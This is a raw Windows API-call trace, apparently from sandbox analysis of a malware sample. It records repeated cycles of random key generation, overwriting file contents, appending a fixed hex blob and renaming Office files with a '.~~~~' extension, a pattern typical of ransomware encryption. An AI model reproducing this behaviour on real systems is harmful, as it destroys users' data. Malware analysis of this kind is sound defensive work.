	[0123.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0123.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.585] GetLastError () returned 0x0
	[0123.585] GetLastError () returned 0x0
	[0123.585] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.586] GetLastError () returned 0x0
	[0123.586] GetLastError () returned 0x0
	[0123.608] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff1ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.608] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xe14, lpOverlapped=0x0) returned 1
	[0123.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.610] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.610] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.610] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.610] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.610] CloseHandle (hObject=0x144) returned 1
	[0123.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a58b8
	[0123.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.~~~~")) returned 1
	[0123.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a58b8 | out: hHeap=0x300000) returned 1
	[0123.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.611] GetLastError () returned 0x0
	[0123.612] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.613] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.613] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.613] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24360319300) returned 1
	[0123.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3269410, dwHighDateTime=0x1d60e1e)) 
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fb10
	[0123.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fb10 | out: hHeap=0x300000) returned 1
	[0123.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0123.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.614] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.614] GetLastError () returned 0x0
	[0123.614] GetLastError () returned 0x0
	[0123.614] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.614] GetLastError () returned 0x0
	[0123.614] GetLastError () returned 0x0
	[0123.635] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff0390, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.635] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xfc70, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xfc70, lpOverlapped=0x0) returned 1
	[0123.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.637] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.637] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.637] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.637] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.637] CloseHandle (hObject=0x144) returned 1
	[0123.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ee6d8
	[0123.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.~~~~")) returned 1
	[0123.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.661] GetLastError () returned 0x0
	[0123.662] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.690] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.690] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.690] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24368950974) returned 1
	[0123.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3327af0, dwHighDateTime=0x1d60e1e)) 
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8028
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8028 | out: hHeap=0x300000) returned 1
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bce20
	[0123.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.701] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.701] GetLastError () returned 0x0
	[0123.701] GetLastError () returned 0x0
	[0123.701] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.701] GetLastError () returned 0x0
	[0123.701] GetLastError () returned 0x0
	[0123.712] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc260, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.712] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x3da0, lpOverlapped=0x0) returned 1
	[0123.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.714] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.714] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.714] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.714] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.714] CloseHandle (hObject=0x11c) returned 1
	[0123.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcb28
	[0123.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.~~~~")) returned 1
	[0123.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bcb28 | out: hHeap=0x300000) returned 1
	[0123.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.716] GetLastError () returned 0x0
	[0123.726] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.752] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.752] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.760] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24375000268) returned 1
	[0123.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb33e61d0, dwHighDateTime=0x1d60e1e)) 
	[0123.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fc60
	[0123.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fc60 | out: hHeap=0x300000) returned 1
	[0123.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd378
	[0123.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.787] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.787] GetLastError () returned 0x0
	[0123.787] GetLastError () returned 0x0
	[0123.787] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.787] GetLastError () returned 0x0
	[0123.787] GetLastError () returned 0x0
	[0123.790] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff78f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.790] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x870a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x870a, lpOverlapped=0x0) returned 1
	[0123.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.792] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.792] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.792] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.792] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.792] CloseHandle (hObject=0x11c) returned 1
	[0123.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd378
	[0123.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.~~~~")) returned 1
	[0123.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd378 | out: hHeap=0x300000) returned 1
	[0123.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.793] GetLastError () returned 0x0
	[0123.794] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.795] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.795] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.795] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24378498726) returned 1
	[0123.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3432490, dwHighDateTime=0x1d60e1e)) 
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fd08
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fd08 | out: hHeap=0x300000) returned 1
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcfe8
	[0123.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.796] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.796] GetLastError () returned 0x0
	[0123.796] GetLastError () returned 0x0
	[0123.796] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.796] GetLastError () returned 0x0
	[0123.796] GetLastError () returned 0x0
	[0123.799] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffeb06, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.799] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x14fa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x14fa, lpOverlapped=0x0) returned 1
	[0123.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.801] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.801] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.801] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.801] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.801] CloseHandle (hObject=0x11c) returned 1
	[0123.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcbc0
	[0123.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.~~~~")) returned 1
	[0123.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bcbc0 | out: hHeap=0x300000) returned 1
	[0123.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.803] GetLastError () returned 0x0
	[0123.804] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.805] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.805] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24379542919) returned 1
	[0123.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3432490, dwHighDateTime=0x1d60e1e)) 
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fd78
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
